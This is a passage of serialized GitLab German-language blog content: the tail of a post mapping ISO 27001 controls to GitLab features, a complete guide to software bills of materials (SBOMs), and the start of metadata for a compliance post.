Informationen über technische Sicherheitslücken der verwendeten Informationssysteme sind einzuholen, die Exposition des Unternehmens gegenüber solchen Sicherheitslücken ist zu bewerten und geeignete Maßnahmen sind zu ergreifen. |\n| 8.9 Konfigurationsmanagement | Konfigurationen von Hardware, Software, Diensten und Netzwerken, einschließlich Sicherheitskonfigurationen, müssen festgelegt, dokumentiert, implementiert, überwacht und überprüft werden. |\n| 8.25 Sicherer Entwicklungslebenszyklus | Regeln für die sichere Entwicklung von Software und Systemen müssen festgelegt und angewendet werden. |\n| 8.26 Anforderungen an die Anwendungssicherheit | Anforderungen an die Informationssicherheit müssen bei der Entwicklung oder dem Erwerb von Anwendungen identifiziert, spezifiziert und genehmigt werden. |\n| 8.27 Sichere Systemarchitektur und technische Grundsätze | Grundsätze für die Entwicklung sicherer Systeme müssen festgelegt, dokumentiert, gepflegt und bei allen Entwicklungsaktivitäten von Informationssystemen angewendet werden |\n\nMit GitLab kannst du deine Hardware- und Softwarekonfigurationen speichern, die Versionskontrolle verwalten, deine Konfigurationen über [Merge Requests](https://docs.gitlab.com/ee/user/project/merge_requests/index.html) aktualisieren und die [CI/CD-Pipelines](https://docs.gitlab.com/ee/ci/pipelines/) von GitLab nutzen, um diese Konfigurationen in deine Anwendungen und Infrastruktur zu übertragen. Mit GitLab können Unternehmen [GitOps](https://about.gitlab.com/topics/gitops/) über eine einzige Plattform implementieren.\n\nMit dem [Infrastructure-as-Code-Scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) von GitLab kannst du deine IaC-Konfigurationsdateien auf bekannte Sicherheitslücken scannen. Das IaC-Scanning von GitLab unterstützt eine Vielzahl von IaC-Konfigurationsdateien und -Sprachen, wodurch es an verschiedene Technologie-Stacks angepasst werden kann.\n\nFür Compliance-Profis ermöglicht GitLab die Implementierung von Automatisierung durch [Compliance-Frameworks](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html) und [Compliance-Pipelines](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html#compliance-pipelines). Dank dieser Funktionen können Benutzer(innen) kritische Projekte mit bestimmten Compliance-Anforderungen identifizieren und Konfigurationen über Pipelines an diese Projekte pushen. Sie ermöglichen eine konsistente Durchsetzung der Controls und unterstützen dadurch deine Sicherheitslage. Außerdem stellen sie sicher, dass die internen und externen Compliance-Anforderungen deines Unternehmens eingehalten werden.\n\nFür [Ultimate-Kund(inn)en](https://about.gitlab.com/pricing/ultimate/) bietet das [Compliance Center](https://docs.gitlab.com/ee/user/compliance/compliance_center/index.html) von GitLab eine zentrale Ansicht des Compliance-Zustands einer Gruppe, z. B. der verschiedenen Compliance Frameworks, die auf die Projekte in der Gruppe angewendet werden. Du kannst sogar sehen, wie gut du den [GitLab-Standard](https://docs.gitlab.com/ee/user/compliance/compliance_center/index.html#gitlab-standard) erfüllst.\n\n\u003Cbr>\n\n| Control-ID | Control-Beschreibung |\n| ---- | ---- |\n| 8.15 Protokollierung | Protokolle, die Aktivitäten, Ausnahmen, Fehler und andere relevante Ereignisse aufzeichnen, sind zu erstellen, zu speichern, zu schützen und zu analysieren. | \n| 8.16 Kontrolle von Überwachungsaktivitäten | Netzwerke, Systeme und Anwendungen müssen auf anomales Verhalten überwacht und geeignete Maßnahmen zur Bewertung potenzieller Informationssicherheitsvorfälle ergriffen werden. |\n\nMit GitLab kannst du [Audit-Ereignisse](https://docs.gitlab.com/ee/administration/audit_events.html) verwenden, um wichtige Ereignisse zu verfolgen, einschließlich der Frage, wer wann die entsprechende Aktion durchgeführt hat. Audit-Ereignisse decken ein breites Spektrum von Kategorien ab, darunter:\n* Gruppenverwaltung\n* Authentifizierung und Autorisierung\n* Benutzerverwaltung\n* Compliance und Sicherheit\n* CI/CD\n* GitLab-Runner\n\n![Audit-Ereignisse](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/example-of-an-audit-event.png)\n\nBeispiel für ein Audit-Ereignis\n{: .note.text-center}\n\nFür [Ultimate-Kund(inn)en](https://about.gitlab.com/pricing/ultimate/) kann das [Audit-Ereignis-Streaming](https://docs.gitlab.com/ee/administration/audit_event_streaming/index.html) aktiviert werden. Mit dem Audit-Ereignis-Streaming können Benutzer(innen) ein Streaming-Ziel für eine Gruppe oder Instanz der obersten Ebene festlegen, um alle Audit-Ereignisse über die Gruppe, Untergruppen und Projekte als strukturierte JSON-Datei zu erhalten.\n\n\u003Cbr>\n\n| Control-ID | Control-Beschreibung |\n| ---- | ---- |\n| 8.28 Sichere Programmierung | Bei der Softwareentwicklung sind die Prinzipien des sicheren Programmierens anzuwenden. |\n| 8.29 Sicherheitstests in Entwicklung und Akzeptanz | Sicherheitstestprozesse sind im Entwicklungslebenszyklus zu definieren und umzusetzen. | \n\nDu kannst die Funktionen in der [Sicherungsphase](https://about.gitlab.com/features/?stage=secure) von GitLab nutzen, um den Lebenszyklus deiner Softwareentwicklung zu verbessern und die Sicherheit deiner Produkte zu verbessern. Zu den Funktionen von GitLab in der Sicherungsphase gehören:\n* [Statische Anwendungssicherheitstests (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/)\n* [Dynamische Anwendungssicherheitstests (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/)\n* [Codequalität](https://docs.gitlab.com/ee/ci/testing/code_quality.html)\n* [Container-Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/)\n* [Abhängigkeitssuche](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/)\n\nund vieles mehr!\n\n![Ergebnisse zur Codequalität](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/code-quality-findings.png)\n\nErgebnisse zur Codequalität\n{: .note.text-center}\n\nKompromittierte Geheimnisse sind einer der führenden Katalysatoren für Sicherheitsverletzungen. Die [Erkennung von Geheimnissen](https://docs.gitlab.com/ee/user/application_security/secret_detection/) von GitLab scannt dein Repository, um zu verhindern, dass deine Geheimnisse aufgedeckt werden.\n\nMit der [Richtlinien-Funktion](https://docs.gitlab.com/ee/user/application_security/policies/) von GitLab können Benutzer(innen) [Scanausführungs-](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html) und [Scanergebnis-Richtlinien](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) basierend auf konfigurierter Logik implementieren. Diese Richtlinien kombinieren die Scan-Funktionen in der [Sicherungsphase](https://about.gitlab.com/features/?stage=secure) mit [Freigaben für Merge Requests](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/), um die Compliance-Anforderungen weiter durchzusetzen.\n\nZusammen bilden die Sicherheitsfunktionen von GitLab die optimale Grundlage für einen sicheren Lebenszyklus der Softwareentwicklung und ermöglichen es dir, die Prinzipien des sicheren Programmierens sowie die Anforderungen deines Unternehmens einzuhalten.\n\n\u003Cbr>\n\n| Control-ID | Control-Beschreibung |\n| ---- | ----| \n| 8.32 Änderungsmanagement | Änderungen an Informationsverarbeitungseinrichtungen und Informationssystemen unterliegen den Änderungsmanagementverfahren. |\n\nGitLab bietet viele Funktionen, um ein umfassendes Änderungsmanagement zu unterstützen.\n\nMit der Quellcodeverwaltung von GitLab können Benutzer(innen) [geschützte Branches](https://docs.gitlab.com/ee/user/project/protected_branches.html) implementieren. Geschützte Branches ermöglichen es GitLab-Benutzer(inne)n, bestimmte Branches einzuschränken, die als kritisch für den Betrieb angesehen werden. Ein geschützter Branch steuert:\n* welche Benutzer(innen) in den Branch mergen können\n* welche Benutzer(innen) in den Branch pushen können\n* wenn Benutzer(innen) den Push in den Branch erzwingen können\n* ob Änderungen an Dateien, die in der CODEOWNERS-Datei aufgeführt sind, direkt in den Branch gepusht werden können\n* welche Benutzer(innen) den Schutz des Branches aufheben können\n\nDer [Standard-Branch](https://docs.gitlab.com/ee/user/project/repository/branches/default.html) in einem Repository wird automatisch als geschützter Branch gekennzeichnet.\n\n![Geschützte Branches](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/protected-branches-settings-within-gitlab.png)\n\nEinstellungen für geschützte Branches in GitLab\n{: .note.text-center}\n\nMerge Requests (MR) sind eine Kernkomponente des Softwareentwicklungszyklus. GitLab-Benutzer(innen) können ihre MRs so konfigurieren, dass sie erst freigegeben werden müssen, bevor sie zusammengeführt werden können. Mit MR-Genehmigungen können Benutzer(innen) die Mindestanzahl der erforderlichen Genehmigungen festlegen, bevor Arbeiten in ein Projekt zusammengeführt werden können. Einige Beispiele für Regeln, die du erstellen kannst, sind:\n* Benutzer(innen) mit bestimmten Berechtigungen können Arbeiten jederzeit genehmigen.\n* [Code-Eigentümer(innen)](https://docs.gitlab.com/ee/user/project/codeowners/index.html) können Arbeiten für Dateien genehmigen, die sie besitzen.\n* Benutzer(innen) mit bestimmten Berechtigungen können Arbeiten im Repository genehmigen, [auch wenn sie keine Merge-Rechte haben](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#merge-request-approval-segregation-of-duties).\n* Benutzer(inne)n mit bestimmten Berechtigungen kann die Möglichkeit gewährt oder verweigert werden, [Genehmigungsregeln für eine bestimmte Merge Request zu überschreiben](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#edit-or-override-merge-request-approval-rules).\n\nWie bereits erwähnt, können [Tickets](https://docs.gitlab.com/ee/user/project/issues/) und [Aufgaben](https://docs.gitlab.com/ee/user/tasks.html) verwendet werden, um Änderungsanfragen zu dokumentieren und zusammenzuarbeiten. [Beschreibungsvorlagen](https://docs.gitlab.com/ee/user/project/description_templates.html) ermöglichen es den Benutzer(inne)n, konsistente Beschreibungen für Tickets oder [MRs](https://docs.gitlab.com/ee/user/project/merge_requests/index.html) einzuhalten. Mit diesen Vorlagen kann ein konsistenter Ansatz verfolgt werden, um Änderungen in einer Weise anzufordern, die am besten zu deinem Unternehmen passt.\n\n## Mehr erfahren\nAls umfassende DevSecOps-Plattform unterstützt GitLab ein breites Spektrum an Anforderungen. ISO hat in der Version 2022 der ISO-Norm zusätzliche Controls für sicheres Programmieren und Konfigurationsmanagement hinzugefügt. Dies zeigt, dass Zertifizierungsstellen insgesamt einen verstärkten Fokus auf die Softwaresicherheit legen. Als strategischer Partner kann GitLab dir dabei helfen, die ISO 27001 einzuhalten und schneller bessere Software zu entwickeln.\n\nWeitere Informationen zu diesen Funktionen findest du in unserer [Tutorial-Bibliothek](https://docs.gitlab.com/ee/tutorials/).",[14,678,1015],"customers",{"slug":1017,"featured":6,"template":683},"how-gitlab-can-support-your-iso-compliance-journey","content:de-de:blog:how-gitlab-can-support-your-iso-compliance-journey.yml","How Gitlab Can Support Your Iso Compliance Journey","de-de/blog/how-gitlab-can-support-your-iso-compliance-journey.yml","de-de/blog/how-gitlab-can-support-your-iso-compliance-journey",{"_path":1023,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":1024,"content":1030,"config":1040,"_id":1042,"_type":16,"title":1043,"_source":18,"_file":1044,"_stem":1045,"_extension":21},"/de-de/blog/the-ultimate-guide-to-sboms",{"ogTitle":1025,"schema":1026,"ogImage":1027,"ogDescription":1028,"ogSiteName":794,"noIndex":6,"ogType":795,"ogUrl":1029,"title":1025,"canonicalUrls":1029,"description":1028},"Der ultimative Leitfaden zu SBOM","\n {\n \"@context\": \"https://schema.org\",\n \"@type\": \"Article\",\n \"headline\": \"Der ultimative Leitfaden zu SBOM\",\n \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n \"datePublished\": \"2022-10-25\",\n }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664571/Blog/Hero%20Images/blog-image-template-1800x945__8_.png","Unser Leitfaden erklärt die Software Bill of Materials (SBOM) einfach und praxisnah. ✓ Definition ✓ Bedeutung ✓ Arten ✓ Vorteile ✓ GitLab-SBOM ➤ Lesen!","https://about.gitlab.com/blog/the-ultimate-guide-to-sboms",{"heroImage":1027,"body":1031,"authors":1032,"updatedDate":1034,"date":1035,"title":1025,"tags":1036,"description":1039,"category":14},"In der heutigen digitalen Landschaft ist der Fokus auf Anwendungssicherheit innerhalb der Softwarebereitstellungskette kritischer denn je. Die Integration von Abhängigkeiten in Software erfordert Transparenz und Sicherheitsmaßnahmen, die oft komplex in der Implementierung und Verwaltung sind. Hier wird eine Software Bill of Materials (SBOM) unverzichtbar.\n\nUnser Leitfaden taucht tief in die Welt der SBOMs ein, beleuchtet ihre zentrale Rolle in einer multifunktionalen [DevSecOps-Strategie](https://about.gitlab.com/de-de/topics/devsecops/) und zeigt auf, wie du die SBOM-Gesundheit deiner Anwendung verbessern kannst – mit dem Ziel, die Cybersecurity deines Unternehmens zu stärken.\n\n## Inhalt - Der ultimative Guide zu SBOMs\n\n- [Was ist eine SBOM?](#was-ist-eine-software-bill-of-materials%3F)\n- [Warum sind SBOMs wichtig?](#warum-sind-sboms-wichtig%3F)\n- [Arten von SBOM-Datenaustauschstandards](#arten-von-sbom-datenaustauschstandards)\n- [Vorteile der Kombination von SBOMs und Software-Vulnerability-Management](#vorteile-der-kombination-von-sboms-und-software-vulnerability-management)\n- [Dynamische GitLab SBOMs](#dynamische-gitlab-sboms)\n- [SBOM-Generierung und -Verwaltung skalieren](#sbom-generierung-und-sbom-verwaltung-skalieren)\n- [SBOMs einlesen und zusammenführen](#sboms-einlesen-und-zusammenführen)\n- [Schwachstellen schneller beheben](#schwachstellen-schneller-beheben)\n- [Kontinuierliche SBOM-Analyse](#kontinuierliche-sbom-analyse)\n- [Vertrauen in SBOMs aufbauen](#vertrauen-in-sboms-aufbauen)\n- [Die Zukunft der SBOM-Funktionalität von GitLab](#die-zukunft-der-sbom-funktionalität-von-gitlab)\n- [Erste Schritte mit SBOMs](#erste-schritte-mit-sboms)\n- [SBOM-FAQ](#sbom-faq)\n\n## Was ist eine Software Bill of Materials?\n\nEine SBOM dient als umfassende [Liste der Komponenten](https://www.cisa.gov/sbom#), die Software ausmachen. Sie beleuchtet das Netzwerk von Bibliotheken, Tools und Prozessen, die im gesamten Entwicklungslebenszyklus verwendet werden. In Kombination mit Tools zum Management von Sicherheitslücken offenbart eine SBOM nicht nur genau diese potenziellen Sicherheitslücken in Softwareprodukten, sondern ebnet auch den Weg für strategische Risikominderung. \n\nEine SBOM ist ein verschachteltes Inventar oder eine Liste von Punkten, die Softwarekomponenten ausmachen. Zusätzlich zu den Komponenten selbst enthalten SBOMs wichtige Informationen über die Bibliotheken, Tools und Prozesse, die zur Entwicklung, zum Aufbau und zur Bereitstellung eines Software-Artefakts verwendet werden.\n\nDas Konzept des SBOM existiert seit mehr als einem Jahrzehnt. Im Rahmen der Bemühungen, die im Jahr 2023 veröffentlichte Nationale Cyber-Strategie umzusetzen, hilft CISA Secure by Design-Softwareherstellern, Sicherheitsprinzipien zu übernehmen und Cybersicherheit in ihre Produkte zu integrieren. Die [deutsche Regierung](https://www.bsi.bund.de/DE/Service-Navi/Presse/Alle-Meldungen-News/Meldungen/TR-03183-2-SBOM-Anforderungen.html) hat bewährte Verfahren herausgegeben, die Softwareentwickler(innen) im öffentlichen Sektor dazu bewegen, SBOMs in ihre Softwarepakete aufzunehmen. Auch auf dem privaten Sektor sindSBOMs immer mehr auf dem Vormarsch.\n\nObwohl SBOMs oft mit eigenständiger Software erstellt werden, integrieren Plattformen wie GitLab die SBOM-Generierung schon früh in den DevSecOps-Workflow.\n\n![supply chain security sdlc](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673653/Blog/Content%20Images/supply_chain_security_sdlc.png)\n\n## Warum sind SBOMs wichtig?\n\nModerne Softwareentwicklung ist darauf fokussiert, Anwendungen schneller und effizienter zu liefern. Das führt oft dazu, dass Entwickler(innen) Code aus Open-Source-Repositories oder proprietären Paketen in ihre Anwendungen einbauen. Laut dem [Open Source Security and Risk Analysis-Bericht 2024 von Synopsys](https://www.synopsys.com/content/dam/synopsys/sig-assets/reports/rep-ossra-2024.pdf), der über 1.000 kommerzielle Codebasen aus 17 Branchen im Jahr 2023 untersuchte, enthielten 96 % der gesamten Codebasen Open Source und 84 % der bewerteten Codebasen zeigten deutlicheSicherheitslücken.\n\nDie Einbindung von Code aus unbekannten Repositories erhöht das Risiko von Schwachstellen, die von Hackern ausgenutzt werden können. Tatsächlich wurde der [Angriff auf SolarWinds im Jahr 2020](https://www.spektrum.de/news/solarwinds-ein-hackerangriff-der-um-die-welt-geht/1819187) durch die Aktivierung einer bösartigen Code-Injektion in einem Paket ausgelöst, das von SolarWinds Orion-Produkt verwendet wurde. Kunden entlang der gesamten Softwarebereitstellungskette waren erheblich davon betroffen. Andere Angriffe, einschließlich der log4j-Schwachstelle, die mehrere kommerzielle Softwareanbieter traf, unterstrichen die Notwendigkeit einer genauen Untersuchung von Anwendungsabhängigkeiten, um Risiken in der gesamten [Softwarebereitstellungskette](https://about.gitlab.com/de-de/solutions/supply-chain/) zu bewerten.\n\nDarüber hinaus stellt das Auffinden und Beheben einer Sicherheitslücke einen Kostenfaktor dar –was die Bedeutung von SBOMs weiter unterstreicht. SBOMs ermöglichen Transparenz in Bezug auf Abhängigkeiten und können dazu genutzt werden, Schwachstellen sowie Lizenzen zu identifizieren, die nicht den internen Vorgaben entsprechen.\n\n## Arten von SBOM-Datenaustauschstandards \n\nSBOMs sind am effektivsten, wenn die Generierung und Verarbeitung von Informationen wie Name, Version, Packager und weiteren Daten automatisiert erfolgen kann. Dies wird optimal erreicht, wenn alle Beteiligten ein standardisiertes Format für den Datenaustausch verwenden.\n\nEs gibt zwei wesentliche Standards für den SBOM-Datenaustausch:\n\n- [OWASP CycloneDX](https://cyclonedx.org/capabilities/sbom/)\n- [SPDX](https://spdx.dev/)\n\nGitLab setzt für die SBOM-Generierung auf CycloneDX, da dieser Standard präzise und benutzerfreundlich ist, komplexe Abhängigkeiten vereinfacht und durch seine Erweiterbarkeit auch spezialisierte sowie zukünftige Anwendungsfälle abdeckt.\n\n## Vorteile der Kombination von SBOMs und Software-Vulnerability-Management\n\nSBOMs sind für DevSecOps-Teams und Software-Nutzer(innen) aus mehreren Gründen äußerst vorteilhaft:\nSie ermöglichen einen Standardansatz, um zu verstehen, welche zusätzlichen Softwarekomponenten in einer Anwendung enthalten sind und wo sie deklariert sind.\nSie bieten einen kontinuierlichen Einblick in den Entstehungsprozess einer Anwendung, einschließlich Details über die Herkunft des Codes von Drittanbietern und Host-Repositories.\nSie bieten ein hohes Maß an Sicherheitstransparenz, sowohl für den von Erstanbietern entwickelten Code als auch für die übernommene Open-Source-Software.\nDie Details, die SBOMs bieten, ermöglichen es einem [DevOps-Team](https://about.gitlab.com/de-de/topics/devops/), Schwachstellen zu identifizieren, die potenziellen Risiken zu bewerten und sie dann zu entschärfen.\nSBOMs können die Transparenz liefern, die die Käufer von Anwendungen heute verlangen.\n\n## Dynamische GitLab-SBOMs \n\nDamit SBOMs ihr volles Potenzial entfalten können, müssen sie automatisch generiert, mit Anwendungssicherheitsscans verbunden, in Dashboards integriert und kontinuierlich aktualisiert werden. GitLab unterstützt all diese Ziele und bietet dabei umfassende Funktionen zur Sicherung der Softwarebereitstellungskette.\n\n![Dynamic SBOM management](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673653/Blog/Content%20Images/Screenshot_2024-05-03_at_10.53.28_AM.png)\n\n### SBOM-Generierung und SBOM-Verwaltung skalieren\n\nZur Einhaltung interner Richtlinien und Vorschriften ist es wichtig, über genaue und umfassende SBOMs zu verfügen, die Open-Source-, Drittanbieter- und unternehmenseigene Software abdecken. Um SBOMs für jede Komponente und Produktversion effektiv zu verwalten, ist ein rationalisierter Prozess für die Erstellung, Zusammenführung, Validierung und Genehmigung von SBOMs erforderlich. Die Abhängigkeitslistenfunktion von GitLab fasst bekannte Schwachstellen- und Lizenzdaten in einer einzigen Ansicht auf der GitLab-Benutzeroberfläche zusammen. Die Informationen des Abhängigkeitsdiagramms werden auch als Teil des Abhängigkeits-Scanberichts generiert. Dadurch erhalten Benutzer(innen) einen umfassenden Einblick in Abhängigkeiten und Risiken innerhalb ihrer Projekte oder in Projektgruppen. Darüber hinaus kann in der CI-Pipeline ein JSON-Artefakt im CycloneDX-Format erzeugt werden. Diese API bietet einen differenzierteren und anpassbaren Ansatz für die SBOM-Erstellung. SBOMs können über die Benutzeroberfläche, eine bestimmte Pipeline oder ein Projekt oder über die GitLab-API exportiert werden.\n\n### SBOMs einlesen und zusammenführen\n\nGitLab kann SBOMs von Drittanbietern einlesen und bietet eine umfängliche Sicherheitstransparenz sowohl für Drittanbieter-Code als auch für eingebundene Open-Source-Software. Mit GitLab kannst du einen CI/CD-Job verwenden, um mehrere CycloneDX-SBOMs nahtlos in eine einzige SBOM zusammenzuführen. Durch die Verwendung implementierungsspezifischer Details in den CycloneDX-Metadaten jeder SBOM, wie etwa die Position von Build- und Sperrdateien, werden doppelte Informationen aus der resultierenden Datei entfernt. Diese Daten werden auch automatisch mit Lizenz- und Schwachstelleninformationen für die in der SBOM enthaltenen Komponenten angereichert.\n\n### Schwachstellen schneller beheben\n\nDie schnellere Entwicklung hochwertiger Produkte erfordert aussagekräftige Sicherheitsergebnisse, damit Entwickler(innen) die kritischsten Schwachstellen beheben können. GitLab hilft bei der Sicherung deiner Bereitstellungskette, indem es nach Schwachstellen im Quellcode, in Containern, Abhängigkeiten und laufenden Anwendungen sucht. GitLab bietet einen umfassenden Sicherheitsscanner mit Funktionen für statische Anwendungssicherheitstests (SAST), dynamische Anwendungssicherheitstests (DAST), Containerscans und Softwarekompositionsanalysen (SCA), um dich umfassend vor neuen Bedrohungen zu schützen. Um Entwickler(innen) und Sicherheitsingenieur(innen) zu helfen, Schwachstellen besser zu verstehen und effizienter zu beheben, bietet GitLab Duo Vulnerability Explanation, eine KI-gestützte Funktion. Sie erläutert eine bestimmte Schwachstelle, wie sie ausgenutzt werden kann und empfiehlt vor allem, wie die Schwachstelle zu beheben ist. In Kombination mit GitLab Duo Vulnerability Resolution können DevSecOps-Teams Schwachstellen mit nur wenigen Klicks intelligent identifizieren, analysieren und beheben.\n\nDie Plattform unterstützt auch die Erstellung neuer Richtlinien (und die Durchsetzung der Compliance), die auf neu entdeckten Schwachstellen basieren.\n\n### Kontinuierliche SBOM-Analyse\n\nGitLab Continuous Vulnerability Scanning löst Scans in allen Projekten aus, bei denen entweder Container-Scans, Abhängigkeits-Scans oder beide aktiviert sind, unabhängig von einer Pipeline. Wenn neue Common Vulnerabilities and Exposures (CVEs) in der National Vulnerability Database (NVD) gemeldet werden, müssen die Benutzer(innen) ihre Pipelines nicht neu starten, um die neuesten Feeds zu erhalten. GitLabs Vulnerability Research Team fügt diese CVEs zur GitLab Advisory Database hinzu – und diese Hinweise werden automatisch als Schwachstellen in GitLab gemeldet. Dadurch wird GitLabs SBOM dynamisch.\n\n### Vertrauen in SBOMs aufbauen\n\nOrganisationen, die [Compliance-Funktionen](https://about.gitlab.com/de-de/solutions/compliance/) benötigen, können GitLab verwenden, um Bestätigungen für alle Build-Artefakte zu erstellen, die vom [GitLab Runner](https://docs.gitlab.com/runner/) produziert werden. Der Prozess ist sicher, da er vom GitLab Runner selbst durchgeführt wird, ohne dass Daten an einen externen Dienst übergeben werden müssen.\n\n### Die Zukunft der SBOM-Funktionalität von GitLab\n\nDie Sicherheit der [Softwarebereitstellungskette](https://about.gitlab.com/direction/supply-chain/) bleibt aufgrund der häufigen Angriffe auf große Softwareanbieter und der gezielten Bemühungen von Angreifern im Open-Source-Ökosystem ein kritisches Thema in der Cybersecurity- und Softwareindustrie. Auch wenn sich die SBOM-Branche schnell weiterentwickelt, gibt es weiterhin Bedenken, wie SBOMs generiert werden, wie häufig diese Generierung erfolgt, wo sie gespeichert werden, wie man mehrere SBOMs für komplexe Anwendungen kombiniert, wie man sie analysiert und wie man sie für Anwendungen nutzt.\n\nGitLab hat SBOMs zu einem integralen Bestandteil seiner Softwarebereitstellungskettenstrategie gemacht und verbessert kontinuierlich seine SBOM-Fähigkeiten innerhalb der DevSecOps-Plattform, einschließlich der Planung neuer Funktionen und Funktionalitäten. Zu den jüngsten Verbesserungen gehören die Automatisierung der Bestätigungserstellung, die digitale Signierung von Build-Artefakten und die Unterstützung extern generierter SBOMs. \n\nDarüber hinaus hat GitLab innerhalb der Plattform ein solides [SBOM Maturity Model](https://handbook.gitlab.com/handbook/security/security-assurance/dedicated-compliance/sbom-plan/) , etabliert, das Schritte wie die automatische SBOM-Generierung, das Sourcing von SBOMs aus der Entwicklungsumgebung, die Analyse von SBOMs für Artefakte und die Förderung der digitalen Signierung von SBOMs umfasst. GitLab plant auch die Einführung der automatischen digitalen Signatur von Build-Artefakten in zukünftigen Versionen.\n\n### Erste Schritte mit SBOMs\n\nDie Nachfrage nach SBOMs ist bereits hoch. Behörden empfehlen oder verlangen zunehmend die Erstellung von SBOMs von Softwareanbietern, Entwickler(innen) von Bundessoftware und sogar Open-Source-Communities. \n\nInformiere dich über die SBOM-Funktionen für GitLab Ultimate in der DevSecOps-Plattform von GitLab, um diese Anforderungen zu erfüllen.\n\n## SBOM-FAQ\n### Was ist eine SBOM?\n\nEine SBOM (Software Bill of Materials) ist eine detaillierte Liste aller Komponenten, Bibliotheken und Abhängigkeiten, die in einer Software verwendet werden. Sie bietet Transparenz über die verwendeten Elemente, um Sicherheitslücken zu identifizieren und die Software-Compliance sicherzustellen. SBOMs helfen, Schwachstellen zu erkennen und Software-Supply-Chain-Risiken zu minimieren.\n\n### Warum sind SBOMs wichtig? \n\nSBOMs sind aus mehreren Gründen entscheidend:\nEinblick in Abhängigkeiten: Das Verständnis der Bestandteile deiner Software hilft, Risiken in Verbindung mit Drittanbieter-Komponenten zu identifizieren und zu mindern.\nErhöhte Sicherheit: Mit detaillierten Einblicken in die Komponenten einer Anwendung können Organisationen Schwachstellen schnell identifizieren und beheben.\nRegulatorische Compliance: Zunehmend fordern Vorschriften und Best Practices eine SBOM für Softwarepakete, insbesondere im öffentlichen Sektor.\nEffiziente Entwicklung: Entwickler(innen) können auf eine SBOM zurückgreifen, um Einblicke in verwendete Bibliotheken und Komponenten zu erhalten, was Zeit spart und Fehler im Entwicklungszyklus reduziert.\n\n### Welche Standards werden für den SBOM-Datenaustausch verwendet?\n\nEs gibt zwei vorherrschende Standards:\n\n- CycloneDX: CycloneDX ist für seine benutzerfreundliche Herangehensweise bekannt, die es ermöglicht, komplexe Beziehungen zwischen Softwarekomponenten zu vereinfachen und spezielle Anwendungsfälle zu unterstützen. Der Standard ist erweiterbar und eignet sich gut für zukünftige Anforderungen.\n- SPDX: Ein weiteres weit verbreitetes Framework für den SBOM-Datenaustausch, das detaillierte Informationen über die in der Softwareumgebung enthaltenen Komponenten bereitstellt.\n\nGitLab verwendet speziell CycloneDX für die SBOM-Generierung, da es aufgrund seiner Präskriptivität und Erweiterbarkeit gut für zukünftige Anforderungen geeignet ist.\n\n### Wie geht GitLab mit SBOMs um?\n\nGitLab legt besonderen Wert auf die Erstellung dynamischer SBOMs, die:\nAutomatisch generiert werden: So wird sichergestellt, dass stets aktuelle Informationen über die Softwarezusammensetzung vorliegen.\nIn Tools integriert sind: SBOMs werden mit Sicherheits-Scanning-Tools verbunden, um umfassende Risikobewertungen zu ermöglichen.\nEinfach zu verwalten sind: GitLab unterstützt die Einlesung und das Zusammenführen von SBOMs für eine umfassende Analyse.\nKontinuierlich analysiert werden: Die Plattform bietet fortlaufende Scans von Projekten, um neu auftretende Schwachstellen frühzeitig zu erkennen.\n\n### Wie kann ich SBOMs in meinem Unternehmen implementieren?\n\nDie steigende Nachfrage nach SBOMs spiegelt die zunehmende Bedeutung von Softwaresicherheit und Integrität der Lieferkette wider. Für Unternehmen, die bereit sind, SBOMs einzuführen, bietet das Ultimate-Paket von GitLab eine robuste Plattform zur Erstellung und Verwaltung von SBOMs innerhalb eines DevSecOps-Workflows. Durch den Einsatz der GitLab-Tools können Teams die Einhaltung von Vorschriften gewährleisten, die Sicherheit verbessern und Entwicklungsverfahren optimieren.\n\n[\nTeste GitLab Ultimate kostenlos.](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de/blog/&glm_content=default-saas-trial)\n\n---\n\nDisclaimer \n*Dieser Blog enthält Informationen zu zukünftigen Produkten, Features und Funktionen. Bitte beachte, dass die Informationen in diesem Blogbeitrag nur zu Informationszwecken dienen. Sie sollten nicht als Grundlage für Kauf- oder Planungsentscheidungen verwendet werden. Wie bei allen Projekten unterliegen die in diesem Blog erwähnten Elemente und verlinkten Seiten Änderungen oder Verzögerungen. Die Entwicklung, Veröffentlichung und das Timing von Produkten, Features oder Funktionen liegen im alleinigen Ermessen von GitLab.*\n",[1033],"Sandra Gittlen","2025-04-01","2022-10-25",[14,805,1037,1038,188],"performance","open source","Erfahre, was eine Software Bill of Materials (SBOM) ist und warum sie zu einem integralen Bestandteil der modernen Softwareentwicklung geworden ist.",{"slug":1041,"featured":6,"template":683},"the-ultimate-guide-to-sboms","content:de-de:blog:the-ultimate-guide-to-sboms.yml","The Ultimate Guide To Sboms","de-de/blog/the-ultimate-guide-to-sboms.yml","de-de/blog/the-ultimate-guide-to-sboms",{"_path":1047,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":1048,"content":1054,"config":1063,"_id":1065,"_type":16,"title":1066,"_source":18,"_file":1067,"_stem":1068,"_extension":21},"/de-de/blog/ensuring-compliance",{"title":1049,"description":1050,"ogTitle":1049,"ogDescription":1050,"noIndex":6,"ogImage":1051,"ogUrl":1052,"ogSiteName":794,"ogType":903,"canonicalUrls":1052,"schema":1053},"Mit GitLab Aufgabentrennung und Compliance sicherstellen","Nutze deine DevSecOps-Plattform, um die Compliance aufrechtzuerhalten, ohne die Entwicklungsgeschwindigkeit zu 